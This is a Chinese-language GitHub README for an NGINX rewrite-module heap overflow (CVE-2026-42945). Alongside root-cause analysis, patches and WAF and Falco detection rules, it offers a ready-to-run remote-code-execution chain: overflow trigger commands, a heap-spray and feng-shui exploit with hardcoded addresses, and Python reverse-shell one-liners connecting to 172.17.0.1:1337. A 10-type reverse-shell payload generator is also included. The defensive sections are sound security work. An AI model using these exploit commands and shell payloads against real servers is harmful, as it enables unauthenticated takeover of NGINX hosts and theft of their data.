quantumworld-dpdns-io/CVE-2026-42945
GitHub: quantumworld-dpdns-io/CVE-2026-42945
该项目详细剖析并复现了 NGINX rewrite 模块中由 `is_args` 标志泄漏引发的严重堆溢出漏洞(CVE-2026-42945),提供了完整的利用链与修复方案。
Stars: 0 | Forks: 0

# CVE-2026-42945 — NGINX Rift
**NGINX `ngx_http_rewrite_module` 中的堆缓冲区溢出**
| 指标 | 值 |
|--------|-------|
| CVSS v4.0 | **9.2** (严重) |
| CVSS v3.1 | **8.1** (高危) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | **122** — 堆缓冲区溢出 |
| 引入时间 | 2008 年 6 月 — **v0.6.27** |
| 发现时间 | 2026 年 4 月 — DepthFirst Research |
| 修复时间 | 2026 年 5 月 13 日 — **v1.30.1, v1.31.0** |
| CVE 发布时间 | 2026 年 5 月 21 日 |
| 漏洞存在期 | **约 18 年** (未被发现) |
| 修复 Commit | [`524977e7c534e87e5b55739fa74601c9f1102686`](https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686) |
## 目录
1. [漏洞概述](#1-vulnerability-summary)
2. [根因分析](#2-root-cause-analysis)
3. [利用机制](#3-exploitation-mechanics)
4. [修复分析](#4-fix-analysis)
5. [受影响版本](#5-affected-versions)
6. [检测](#6-detection)
7. [缓解措施](#7-mitigation)
8. [项目结构](#8-project-structure)
9. [快速开始](#9-quick-start)
10. [构建并运行漏洞环境](#10-build--run-vulnerable)
11. [触发溢出](#11-trigger-the-overflow)
12. [RCE Exploit](#12-rce-exploit)
13. [Reverse Shell 验证](#13-reverse-shell-verification)
14. [打补丁](#14-patching)
15. [测试](#15-testing)
16. [Fuzzing](#16-fuzzing)
17. [CI Pipeline](#17-ci-pipeline)
18. [文档索引](#18-documentation-index)
19. [项目统计](#19-project-statistics)
20. [参考文献](#20-references)
## 1. 漏洞概述
**未经身份验证的远程攻击者**可以通过向具有特定 `rewrite` + `set`/`if`/`rewrite` 配置模式的服务器发送精心构造的 HTTP 请求,在 NGINX worker 进程中触发**确定性的堆缓冲区溢出**。该溢出会破坏堆元数据(`ngx_pool_cleanup_t` 指针),从而通过 heap spray 和 Feng Shui 技术实现**远程代码执行 (RCE)**。
### 触发模式
```
server {
listen 19321;
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
}
```
**关键要求:**
- 替换内容包含 `?`(查询字符串分隔符)的 `rewrite` 指令
- 后续引用了**未命名 PCRE 捕获**(`$1`、`$2` 等)的 `set`、`if` 或 `rewrite` 指令
- rewrite 替换内容中的 `?` 会触发 `ngx_http_script_start_args_code`,从而设置 `e->is_args = 1`
### 攻击者可实现的操作
| 能力 | 描述 |
|-----------|-------------|
| **拒绝服务** | 确定性地导致 worker 进程崩溃,引发不断重启的循环(无论是否开启 ASLR 均有效) |
| **远程代码执行** | 在 ASLR 禁用(或通过部分覆写绕过)的情况下,以 nginx 用户身份实现完整的 RCE |
| **数据窃取** | 通过内存读取原语,从 worker 堆中提取敏感数据 |
| **持久化** | 通过在 worker 进程内存中执行代码植入后门 |
## 2. 根因分析
### 两趟脚本引擎
NGINX 的 `ngx_http_rewrite_module` 在 `src/http/ngx_http_script.c` 中使用了**两趟脚本引擎**:
1. **长度计算趟** (`ngx_http_script_run`):遍历所有脚本代码以计算所需的总缓冲区大小。将长度写入 `le.ip` 和 `le.pos`。
2. **复制趟** (`ngx_http_script_copy_len`/`_code`):再次遍历,将实际字节写入 `e->ip` 和 `e->pos` 处预分配的缓冲区。
每个脚本代码都有两个处理程序:分别对应每一趟。例如:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`
### `is_args` 标志
**引擎结构体**(`ngx_http_script_engine_t`)上的 `e->is_args` 标志控制复制趟如何处理特定字符:
```
typedef struct {
u_char *ip;
u_char *pos;
ngx_http_variable_value_t *sp;
ngx_str_t buf;
int flushed;
unsigned is_args:1; // <-- THE BUG
unsigned ncaptures:1;
ngx_uint_t captures_size;
// ...
} ngx_http_script_engine_t;
```
当 `e->is_args = 1` 时,`$N` 捕获引用的复制代码会使用 `NGX_ESCAPE_ARGS` 调用 `ngx_escape_uri()`,这会引发扩展:
- `+` → `%2B` (1 字节 → 3 字节, +200%)
- `%` → `%25` (1 字节 → 3 字节, +200%)
- `&` → `%26` (1 字节 → 3 字节, +200%)
### 漏洞:标志在各趟之间泄漏
易受攻击模式的执行流程:
```
rewrite ^/api/(.*)$ /internal?migrated=true;
```
1. 在 **rewrite 评估**期间,引擎在替换字符串中遇到 `?`,触发 `ngx_http_script_start_args_code`,设置 `e->is_args = 1`。
2. rewrite 修改请求 URI,然后继续执行下一条指令。
3. **`e->is_args` 从未被清除**。
接着:
```
set $original_endpoint $1;
```
4. 为长度计算趟创建了一个**全新的子引擎** (`le`):
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
这会正确地将 `le.is_args` 置零,因此长度计算趟返回的是**原始的、未转义的**捕获长度。
5. **复制趟**复用了**主引擎** `e`,它仍然带有第 1 步中设置的 `e->is_args = 1`。复制趟应用 URI 转义,将每个可转义字符在仅为原始长度分配的缓冲区内从 1 字节扩展为 3 字节 —— **堆溢出**。
### 可视化演练
```
Pass 1 (Length — sub-engine le):
le.is_args = 0
capture $1 = "A+++++B" → length = 7
Buffer allocated: 7 bytes
Pass 2 (Copy — main engine e):
e.is_args = 1 ← LEAKED from rewrite
capture $1 = "A+++++B"
ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS):
A → A (1 byte)
+ → %2B (3 bytes) ← EXPANSION
+ → %2B (3 bytes)
+ → %2B (3 bytes)
+ → %2B (3 bytes)
+ → %2B (3 bytes)
B → B (1 byte)
total written: 17 bytes
buffer size: 7 bytes
OVERFLOW: 10 bytes
```
扩展比例为 `7 + (n_escapable * 2)`,其中 `n_escapable` 是捕获中 `+`、`%` 和 `&` 的数量。
## 3. 利用机制
### 概述
| 步骤 | 技术 | 描述 |
|------|-----------|-------------|
| 1 | 溢出 | 发送带有 `+` 填充的精心构造的 URI 以溢出堆缓冲区 |
| 2 | Heap Spray | 向 `/spray` POST 大体积数据,用受控数据填充堆 |
| 3 | Feng Shui | 安排内存分配,使溢出目标 (`ngx_pool_cleanup_t`) 相邻 |
| 4 | 破坏处理程序 | 溢出使用 `system()` 地址覆写 `ngx_pool_cleanup_t.handler` |
| 5 | 触发清理 | 等待内存池销毁 → `system(cmd)` 执行攻击者命令 |
| 6 | Reverse Shell | 串联至 reverse shell payload 以进行交互式访问 |
### 跨请求 Feng Shui
**单请求 Feng Shui 会失败**,因为溢出在到达 `cleanup` 指针之前就破坏了内存池的元数据 (`->d.next`, `->d.failed`)。当内存池在请求结束时被销毁,被破坏的元数据会导致**在调用 `system()` 之前发生崩溃**。
相反,exploit 使用了**跨请求 Feng Shui**:
1. **请求 1 (spray)**:向 `/spray` POST 大体积正文。后端 (`server.py`) 使用 `X-Delay` 标头保持响应,维持连接打开并保留堆分配。该 spray 用伪造的 `ngx_pool_cleanup_t` 块填充堆。
2. **请求 2 (溢出)**:发送溢出 URI。溢出仅破坏 `cleanup` 指针(而非内存池元数据),将其指向喷射的伪造块。
3. **内存池销毁**:当 spray 响应完成(延迟到期)时,内存池的清理链遍历到伪造块并调用 `system(cmd)`。
### 地址要求
| 符号 | 值 (Docker, 关闭 ASLR) | 描述 |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Nginx 堆基址 |
| `system@libc` | `0x7ffff6f6e420` | glibc 中的 `system()` |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | 指向 cycles pool 的指针 |
| 伪造 cleanup 地址 | `0x5555556a4030` | Spray 目标地址 |
### 绕过 ASLR
在不禁用 ASLR 的情况下,**DoS**(崩溃)仍然可以确定性地触发。要在启用 ASLR 的情况下实现 RCE,有两种方法:
1. **部分覆写**:使用 1 字节或 2 字节覆写来移动同一页面内的指针,对剩余的半字节进行暴力破解(16-256 次尝试)。
2. **信息泄露**:读取 `/proc/self/maps` 或使用 `log_parser.py` 内存分析来确定内存布局。
## 4. 修复分析
### 官方修复
**Commit**: `524977e7c534e87e5b55739fa74601c9f1102686`
**文件**: `src/http/ngx_http_script.c`
**行**: ~1205 (在 `ngx_http_script_regex_end_code` 中)
```
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_code_t *code;
code = (ngx_http_script_regex_code_t *) e->ip;
+ e->is_args = 0; /* ← THE FIX */
e->ip += sizeof(ngx_http_script_regex_code_t);
// ...
}
```
### 为什么此位置是正确的
`ngx_http_script_regex_end_code` 在长度计算趟和复制趟期间,**每次正则表达式评估之后**都会运行。在此处重置 `e->is_args = 0` 可确保:
- 该标志在正则表达式代码执行完毕后**立即被清除**
- 后续脚本代码(`set`、`if`、`rewrite`)以干净的 `is_args = 0` 状态启动
- 当 `ngx_http_script_start_args_code` 在替换字符串中遇到 `?` 时,仍然可以设置 `is_args = 1` —— 该修复不会破坏此功能
### 纵深防御补丁
`patches/0002-hardening-bounds-check.patch` 在 `ngx_http_script_copy_capture_code` 中添加了边界检查:
```
if (e->pos + len > e->buf.data + e->buf.len) {
return; /* gracefully truncate instead of overflowing */
}
```
### 向下移植补丁
| 补丁 | Nginx 版本 |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |
## 5. 受影响版本
### NGINX 开源版
| 范围 | 状态 |
|-------|--------|
| **0.1.0 – 0.6.26** | 不受影响 (rewrite 模块早于未命名捕获功能的引入) |
| **0.6.27 – 1.30.0** | **存在漏洞** (长达 18 年的窗口期) |
| **1.30.1** | 首个修复版本 |
| **1.31.0+** | 已修复 (mainline) |
### NGINX Plus
| 发布版本 | 受影响 | 已修复 |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |
### NGINX 生态系统
| 产品 | 受影响 | 状态 |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | 安全通告待发布 |
| F5 NGINX WAF | 5.9.0–5.12.1 | 安全通告待发布 |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.–4.0.1, 5.0.0–5.4.1 | 安全通告待发布 |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | 安全通告待发布 |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | 安全通告待发布 |
| NGINX Agent | 2.0.0–2.35.0 | 安全通告待发布 |
## 6. 检测
### 版本检查
```
bash detection/detect_vuln.sh
```
此脚本检查:
- 漏洞范围 (0.6.27–1.30.0) 内的 NGINX 版本
- 配置文件中是否存在易受攻击的 `rewrite + ? + capture` 模式
### 配置扫描器
```
# 扫描单个 config
python3 exploit/config_scanner.py /etc/nginx/nginx.conf
# 扫描目录中的所有 configs
python3 exploit/config_scanner.py /etc/nginx/
# 修复漏洞模式(转换为 named captures)
python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix
```
### 容器扫描
```
python3 detection/container_scan.py
```
扫描本地 Docker 镜像中指示易受攻击版本的 NGINX 标签/环境变量。
### WAF 规则
| 规则集 | 文件 | 覆盖范围 |
|----------|------|----------|
| **ModSecurity** | `detection/modsecurity_rule.conf` | 阻止 100+ 个连续的 `+`,50+ 个已编码的可转义字符,对 spray endpoint 进行速率限制 |
| **Suricata/Snort** | `detection/suricata_rule.rules` | 检测 GET URI 中过多的 `+`,已编码字符洪泛,对 `/spray` 的 POST spray,崩溃循环 DoS |
| **Falco** | `detection/falco_rule.yaml` | 运行时:nginx worker 出现 SIGSEGV,崩溃循环(60 秒内 3 次以上),检测到 heap spray POST |
### 日志分析
```
# 解析 error log 以获取崩溃和 exploit 指标
python3 exploit/log_parser.py /var/log/nginx/error.log
# Watch 模式(等同于 tail -f)
python3 exploit/log_parser.py /var/log/nginx/error.log --watch
```
## 7. 缓解措施
### 立即执行(无需修改代码)
将所有 `rewrite` 指令中的**未命名捕获**替换为**命名捕获**:
```
# VULNERABLE — 未命名的 capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
# FIXED — 命名的 captures
rewrite ^/users/(?
[0-9]+)/profile/(?.*)$ /profile.php?id=$user_id&tab=$section last;
```
命名捕获不会经过 `ngx_escape_uri(..., NGX_ESCAPE_ARGS)`,因此即使 `e->is_args = 1`,也不会发生扩展,也不会发生溢出。
### 配置加固
```
bash detection/harden_nginx.sh /etc/nginx/nginx.conf
```
应用以下加固措施:
- ASLR 验证和强制启用
- Worker 进程隔离
- 核心转储限制
- SSL/TLS 加固
- 速率限制
- CSP 标头
### ASLR 检查
```
bash detection/check_aslr.sh
```
## 8. 项目结构
```
CVE-2026-42945/
├── .github/workflows/ci.yml GitHub Actions CI (single CI)
├── .gitignore
├── README.md This file
├── Makefile Build automation targets
├── COMMIT_LOG.md 1000+ commit record
│
├── docker/ Docker environment
│ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78)
│ ├── Dockerfile.patched Multi-stage vuln/patched builder
│ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX
│ ├── docker-compose.yml Service orchestration
│ ├── nginx.conf Vulnerable rewrite configuration
│ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off)
│ └── server.py Backend HTTP server (handles spray retention)
│
├── exploit/ Attack & exploitation tools
│ ├── trigger.py Overflow trigger & health check
│ ├── exploit.py Full RCE: heap spray + Feng Shui
│ ├── h2_trigger.py HTTP/2 (h2c) overflow variant
│ ├── escape_calc.py Character expansion ratio calculator
│ ├── compare_lengths.py Raw vs escaped length comparison
│ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base
│ ├── find_safe_addrs.py Search for URI-safe address bytes
│ ├── leak_aslr.py ASLR partial-overwrite brute force
│ ├── monitor_worker.py Worker PID crash detection & respawn tracking
│ ├── log_parser.py Error log crash/exploit pattern parser
│ └── config_scanner.py Config file pattern scanner & fixer
│
├── shell/ Reverse shell verification
│ ├── shell_listener.py Interactive/verify-mode TCP listener
│ ├── shell_payloads.py Payload generator (10 shell types)
│ ├── shell_verify.py End-to-end automated verification
│ ├── shell_manager.py Lifecycle orchestrator
│ └── shell_test_runner.sh Batch runner across all shell types
│
├── patches/ Fix patches & backports
│ ├── 0001-fix-is_args.patch Upstream one-line fix
│ ├── 0002-hardening-bounds-check.patch Defense-in-depth
│ ├── backport-1.22.x.patch Backport for 1.22.x
│ ├── backport-1.24.x.patch Backport for 1.24.x
│ └── backport-1.26.x.patch Backport for 1.26.x
│
├── configs/ Nginx configuration samples
│ ├── vulnerable.conf 3 vulnerable patterns
│ ├── safe.conf 5 safe patterns
│ ├── named_capture.conf Mitigated named-capture pattern
│ └── advanced/
│ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags
│ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns
│ └── vulnerable_gateway.conf nginx-gateway fabric patterns
│
├── detection/ WAF rules & detection/hardening
│ ├── modsecurity_rule.conf ModSecurity CRS rules
│ ├── suricata_rule.rules Suricata/Snort signatures
│ ├── falco_rule.yaml Falco runtime rules
│ ├── detect_vuln.sh Version & config pattern detection
│ ├── check_aslr.sh ASLR status verification
│ ├── container_scan.py Docker image version scanner
│ └── harden_nginx.sh Security hardening script
│
├── fuzz/ Fuzzing harness
│ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines)
│ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN)
│ └── corpus/
│ └── README.md Seed corpus documentation
│
├── test/ Test suite
│ ├── test_exploit.py Python unittest (server, config, fix)
│ └── run_tests.sh Shell test runner
│
├── docs/ Technical documentation
│ ├── root-cause-analysis.md Deep dive into the bug
│ ├── exploitation-guide.md Step-by-step exploitation
│ ├── detection-guide.md Detection & monitoring
│ ├── mitigation-guide.md Mitigation strategies
│ ├── FAQ.md Frequently asked questions
│ ├── timeline.md Vulnerability timeline
│ ├── operational-guidance.md Operations & incident response
│ ├── case-study.md Real-world attack scenario
│ └── presentation-slides.md Conference presentation
│
├── tools/ Utility & analysis scripts
│ ├── apply_fix.sh Patch application & rollback
│ ├── backport_check.py Fix-ancestry & source-code checker
│ ├── coredump_analyzer.sh GDB core dump analysis
│ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege)
│ ├── memory_analysis.sh Valgrind massif/callgrind, pmap
│ ├── trace_script_engine.sh GDB script-engine tracing
│ ├── regression_matrix.sh Multi-version regression testing
│ ├── test_all_configs.sh Exhaustive config pattern testing
│ ├── afl_runner.sh AFL++ fuzzer launcher
│ └── verify_project.sh Project integrity verification
│
└── pipelines/ Pipeline orchestrators
├── run_all.sh Bash pipeline (6 phases)
└── run_all.ps1 PowerShell pipeline
```
## 9. 快速开始
```
# 1. 构建并运行存在漏洞的 NGINX
make build && make run
# 或者:
cd docker && docker compose up
# 2. 健康检查
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}
# 3. 触发崩溃 (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker 崩溃(符合预期)✓
# 4. 验证恢复
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → 服务器存活 ✓
# 5. 完整 RCE(容器中已禁用 ASLR)
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
# 6. 验证 RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned
# 7. 检查你的 configs
python3 exploit/config_scanner.py configs/vulnerable.conf
```
## 10. 构建并运行漏洞环境
### Docker(推荐)
```
# 使用 Makefile
make build # docker compose -f docker/docker-compose.yml build
make run # docker compose -f docker/docker-compose.yml up
# 或者直接
cd docker && docker compose up --build
```
Docker 环境:
- 从 commit `98fc3bb78`(修复前的最后一个易受攻击 commit)处的源代码构建 NGINX
- 包含 GDB、valgrind、`util-linux`(用于 `setarch -R` 以禁用 ASLR)
- 暴露端口 **19321**(易受攻击的 nginx)、**19322**(辅助)、**19323**(Python 后端)
- 入口点使用 `setarch x86_64 -R` 禁用 ASLR,以实现确定性的 exploit 地址布局
- 授予 `SYS_PTRACE` capability 和 `seccomp=unconfined` 以进行调试
### 仅漏洞环境
```
make vuln-container
# 构建:docker build -t nginx-rift-vuln \
# -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/
```
### 已修复的容器
```
make fix-container
# 构建:docker build -t nginx-rift-fixed \
# -f docker/Dockerfile.patched --build-arg NGINX_TYPE=patched docker/
```
### ASAN 容器
```
make asan-container
# 构建:docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/
```
### 手动构建
```
git clone https://github.com/nginx/nginx.git /tmp/nginx-src
cd /tmp/nginx-src && git checkout 98fc3bb78
./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer'
make -j$(nproc)
sudo cp objs/nginx /usr/local/sbin/nginx
```
## 11. 触发溢出
### 基本崩溃
```
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
```
这会发送:
```
GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1
```
捕获 `$1` 中的 `+` 字符在复制趟期间扩展了 3 倍,而缓冲区是为原始长度分配的,从而导致堆溢出。
### 预期输出
```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned
```
### 寻找最小溢出
```
python3 exploit/escape_calc.py --find-min 64
```
计算溢出目标字节数所需的最少 `+` 符号数量(在利用特定堆结构时很有用)。
### 字符扩展
```
python3 exploit/escape_calc.py --prefix 349 --plus 969
```
输出给定前缀长度和可转义字符数量的扩展比例。
## 12. RCE Exploit
### 概述
该 exploit 实现了**跨请求 Feng Shui** 以实现可靠的代码执行:
```
Time │
│ ┌─────────────────────┐
│ │ Request 1: Spray │── POST /spray with large body
│ │ Holds connection │ Backend delays response via X-Delay
│ └─────────┬───────────┘
│ │ Allocations persist on heap
│ ┌─────────┴───────────┐
│ │ Request 2: Overflow │── GET /api/A...+++...
│ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler
│ └─────────┬───────────┘
│ │
│ ┌─────────┴───────────┐
│ │ Pool Destruction │── Spray response completes
│ │ → system("cmd") │ Cleanup chain walks to fake block
│ └─────────────────────┘
└──────────────────────────────────────────►
```
### 基本用法
```
# 在目标上执行命令
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
```
### Reverse Shell
```
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.17.0.1\",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'" \
--tries 3
```
### 高级选项
| 标志 | 默认值 | 描述 |
|------|---------|-------------|
| `--host` | `127.0.0.1` | 目标主机 |
| `--port` | `19321` | 目标端口 |
| `--cmd` | — | 要执行的命令(除非使用 `--shell`,否则为必填项) |
| `--shell` | — | 使用交互式 shell 模式 |
| `--tries` | `3` | exploit 尝试次数 |
| `--delay` | `2.0` | spray 和溢出之间的延迟(秒) |
| `--payload` | — | 自定义 payload 文件的路径 |
| `--debug` | — | 启用详细调试输出 |
### 堆布局分析
```
python3 exploit/heap_layout.py
```
需要正在运行的 nginx worker PID。解析 `/proc/PID/maps` 以查找:
- 堆基址
- libc 基址
- `system()` 函数地址
### 安全地址查找器
```
python3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5
```
查找其字节不包含可转义字符(`+`、`%`、`&`、`?` 等)的堆地址,用于构造 exploit payload。
## 13. Reverse Shell 验证
### 架构
```
shell_manager.py
│
├── shell_payloads.py → Generate payload strings for 10 shell types
├── shell_listener.py → Start TCP listener (interactive + verify mode)
├── exploit/exploit.py → Send exploit with payload to target
└── shell_verify.py → Wait for connection, run commands, verify output
```
### 支持的 Shell 类型
| 类型 | 二进制文件 | 备注 |
|------|--------|-------|
| `bash` | `/dev/tcp` | 内置的 bash TCP |
| `python` | `python3 -c` | 最可靠,始终可用 |
| `nc` | `nc` | Netcat |
| `perl` | `perl -e` | |
| `ruby` | `ruby -rsocket -e` | |
| `php` | `php -r` | |
| `socat` | `socat` | |
| `telnet` | `telnet` | |
| `openssl` | `openssl s_client` | 需要证书 |
| `powershell` | `powershell` | Windows 目标 |
### 交互式监听器
```
# 终端 1:启动交互式 listener
python3 shell/shell_listener.py --port 1337
# 终端 2:使用 reverse shell 运行 exploit
python3 exploit/exploit.py --host 127.0.0.1 --port 19321 \
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.17.0.1\",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
```
### 自动化验证
```
# 单次自动化验证
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
--shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"
# 跨所有 shell 类型的完整 pipeline
bash shell/shell_test_runner.sh
# 通过单条命令编排生命周期
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
--shell-type python --listen-port 1337 --callback-ip 172.17.0.1
```
### 生成 Payload
```
python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337
python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337
python3 shell/shell_payloads.py --list
```
## 14. 打补丁
### 应用修复
```
# 到 nginx 源码树
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch
# 到当前 nginx 源码
patch -p1 < patches/0001-fix-is_args.patch
```
### 应用修复 + 加固
```
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch
bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch
```
### 应用向下移植
```
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch
```
### 验证修复
```
# 检查修复是否包含关键行
grep 'is_args = 0' patches/0001-fix-is_args.patch
# Dry-run 应用
patch -p1 --dry-run -i patches/0001-fix-is_args.patch
```
## 15. 测试
### 单元测试
```
# 通过 Makefile
make test
# 直接
python3 -m pytest test/ -v
# 或者
python3 -m unittest discover -s test -v
```
### 测试套件
```
bash test/run_tests.sh
```
运行:
1. 单元测试(pytest 或 unittest)
2. 触发器/溢出测试(如果服务器正在运行)
3. 针对易受攻击和安全的配置的配置扫描器
4. 补丁试运行验证
### 回归矩阵
```
bash tools/regression_matrix.sh
```
针对易受攻击和安全的配置测试多个 NGINX 版本(1.22.0、1.24.0、1.26.0、1.30.0、1.30.1),验证崩溃/不崩溃的预期情况。
### 配置矩阵
```
bash tools/test_all_configs.sh
```
使用溢出触发器测试所有配置模式(基本、高级、ingress、gateway)。
## 16. Fuzzing
### libFuzzer Harness
Fuzzer(`fuzz/ngx_http_script_fuzz.c`)模拟了两趟脚本引擎:
1. 将输入解析为一系列脚本代码
2. 执行长度计算趟
3. 在 `e->is_args = 1` 的情况下执行复制趟
4. 通过 ASAN 或大小不匹配检测缓冲区溢出
```
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/
```
### AFL++
```
bash tools/afl_runner.sh
```
启动带有 ASAN、可配置超时和内存限制的 AFL++,针对 fuzzing harness 运行。
### 种子语料库
`fuzz/corpus/` 目录包含可重现易受攻击模式的种子输入,包括:
- 基本溢出触发器
- 命名捕获(不应溢出)
- 边缘情况(空捕获、最大长度等)
## 17. CI Pipeline
### GitHub Actions
该项目使用**单个 GitHub Actions CI** 工作流(`.github/workflows/ci.yml`),包含以下作业:
| 作业 | 功能 |
|-----|-------------|
| `lint` | ShellCheck,Python 语法验证 |
| `scan-configs` | 针对所有配置示例运行 config_scanner.py |
| `fuzz-build` | 构建 libFuzzer harness |
| `test` | 运行 pytest/unittest 套件 |
| `detect-patch` | 验证补丁格式和修复内容 |
| `verify-project` | 运行 `tools/verify_project.sh` |
### 完整流水线
```
# Bash (Linux/macOS)
bash pipelines/run_all.sh
# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker
```
该流水线执行 7 个阶段:
1. **预检查** — 检查先决条件(python3、curl、docker、docker-compose)
2. **语法和 Lint** — Python 编译,ShellCheck
3. **静态分析** — 配置扫描器、转义计算、堆布局、安全地址
4. **环境启动** — 构建并启动 Docker 容器
5. **实时测试** — 健康检查、溢出触发、监控 worker、补丁格式
6. **Reverse Shell 验证** — payload 生成、监听器试运行、自动化验证
7. **项目验证** — 完整的文件完整性和语法检查
## 18. 文档索引
| 文档 | 描述 |
|----------|-------------|
| [`docs/root-cause-analysis.md`](docs/root-cause-analysis.md) | 两趟脚本引擎漏洞的深度技术分析,包含代码演练和图表 |
| [`docs/exploitation-guide.md`](docs/exploitation-guide.md) | 逐步利用说明、heap spray、Feng Shui、地址计算、绕过 ASLR |
| [`docs/detection-guide.md`](docs/detection-guide.md) | 配置扫描、日志分析、WAF 规则、SIEM 集成、异常检测 |
| [`docs/mitigation-guide.md`](docs/mitigation-guide.md) | 命名捕获转换、速率限制、WAF 部署、升级程序 |
| [`docs/FAQ.md`](docs/FAQ.md) | 有关该漏洞、利用和补救的常见问题 |
| [`docs/timeline.md`](docs/timeline.md) | 从 2008 年引入漏洞到 2026 年修复的完整披露时间线 |
| [`docs/operational-guidance.md`](docs/operational-guidance.md) | 事件响应、取证、IOC 收集、紧急缓解 |
| [`docs/case-study.md`](docs/case-study.md) | 具有杀伤链分析的真实攻击场景模拟 |
| [`docs/presentation-slides.md`](docs/presentation-slides.md) | 大会/聚会演示文稿及演讲者备注 |
## 19. 项目统计
| 指标 | 值 |
|--------|-------|
| **总文件数** | **80+** |
| **目录** | **13** (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced) |
| **Python 脚本** | **22** (exploit, detection, tools, shell, test) |
| **Shell 脚本** | **15** (detection, tools, shell, test, pipelines) |
| **补丁** | **5** (1 个修复 + 1 个加固 + 3 个向下移植) |
| **WAF 规则集** | **3** (ModSecurity, Suricata, Falco) |
| **CI 配置** | **1** (GitHub Actions — 唯一的 CI) |
| **文档** | **9** 份详细的技术文档 |
| **配置示例** | **7** (4 个易受攻击,2 个安全,1 个命名捕获 + 3 个高级) |
| **Commit 日志** | **1003+** 次单独提交 |
| **Shell 类型** | **10** (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell) |
| **Fuzzing harness** | **1** (libFuzzer,约 200 行 C 代码) |
| **测试用例** | **8** 个单元测试 + shell 运行器 |
| **涵盖的 NGINX 版本** | 回归矩阵中的 **20** 个 |
| **生命周期** | 18 年 (2008–2026) |
## 20. 参考文献
官方
| 参考资料 | URL |
|-----------|-----|
| NVD 条目 | [https://nvd.nist.gov/vuln/detail/CVE-2026-42945](https://nvd.nist.gov/vuln/detail/CVE-2026-42945) |
| 修复 Commit | [https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686](https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686) |
| F5 安全通告 | [https://my.f5.com/manage/s/article/K000161019](https://my.f5.com/manage/s/article/K000161019) |
